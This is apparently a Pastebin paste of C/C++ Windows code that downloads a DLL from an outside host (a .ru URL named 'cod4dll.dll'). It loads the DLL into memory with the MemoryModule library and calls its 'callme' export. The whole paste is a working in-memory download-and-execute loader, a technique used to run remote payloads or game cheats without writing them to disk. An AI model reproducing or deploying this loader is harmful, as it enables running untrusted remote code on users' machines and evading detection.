Advertisement
Guest User

Untitled

a guest
Feb 18th, 2018
54
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.80 KB | None | 0 0
  1. //c
  2. #include <assert.h>
  3. #include <windows.h>
  4.  
  5. //demands linked ininet.lib
  6. #include <wininet.h>
  7.  
  8. typedef PVOID HINTERNET;
  9. typedef HINTERNET(WINAPI *InetOpenA)(LPCTSTR, char*, char*, char*, char*); //InterNetOpenA
  10. typedef HINTERNET(WINAPI *InetOpenUrlA) (HINTERNET, LPCSTR, char*, char*, char*, char*); //InternetOpenUrlA
  11. typedef BOOL(WINAPI *InetReadFile) (HINTERNET, LPVOID, DWORD, LPDWORD); //InternetReadFileA
  12. typedef HANDLE(WINAPI *CreatFile) (LPCTSTR, int, int, int, int, int, int); //CreateFileA
  13. typedef BOOL(WINAPI *WritFile) (HANDLE, LPCVOID, int, LPDWORD, int); //WriteFileA
  14.  
  15. //c++
  16. #include <vector>
  17. #include <iostream>
  18. using std::vector;
  19. typedef BYTE byte;// BYTE does not look cool
  20.  
  21. //open source lib
  22. #include "MemoryModule.h"
  23.  
  24. void inject(vector<byte>&& internal_dll){
  25. auto handle = MemoryLoadLibrary(&internal_dll[0], internal_dll.size());
  26. assert(handle != nullptr);
  27. auto callme_f = reinterpret_cast<void(*)()>(MemoryGetProcAddress(handle, "callme"));
  28. callme_f();
  29. MemoryFreeLibrary(handle);
  30. }
  31.  
  32. vector<byte> download(wchar_t* link){
  33. vector<byte> res;
  34. byte buffer[2048];
  35.  
  36. auto InternetHandle = InternetOpen(L"anon", 0, nullptr, nullptr, 0);
  37. assert(InternetHandle != nullptr);
  38. auto UrlHandle = InternetOpenUrl(InternetHandle, link, nullptr, 0, 0, 0);
  39.  
  40. DWORD bytes_next = -1;
  41. while (bytes_next != 0){
  42. auto success = InternetReadFile(UrlHandle, buffer, sizeof(buffer), &bytes_next);
  43. assert(success);
  44. res.insert(res.end(), buffer, buffer + bytes_next);
  45. }
  46.  
  47. //CloseHandle(UrlHandle); those do not work correctly for some reason lol
  48. //CloseHandle(InternetHandle);
  49. return res;
  50. }
  51.  
  52. int main() {
  53. auto file = download(L"https://groupstudy.ru/cod4dll.dll");
  54. inject(std::move(file));
  55. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement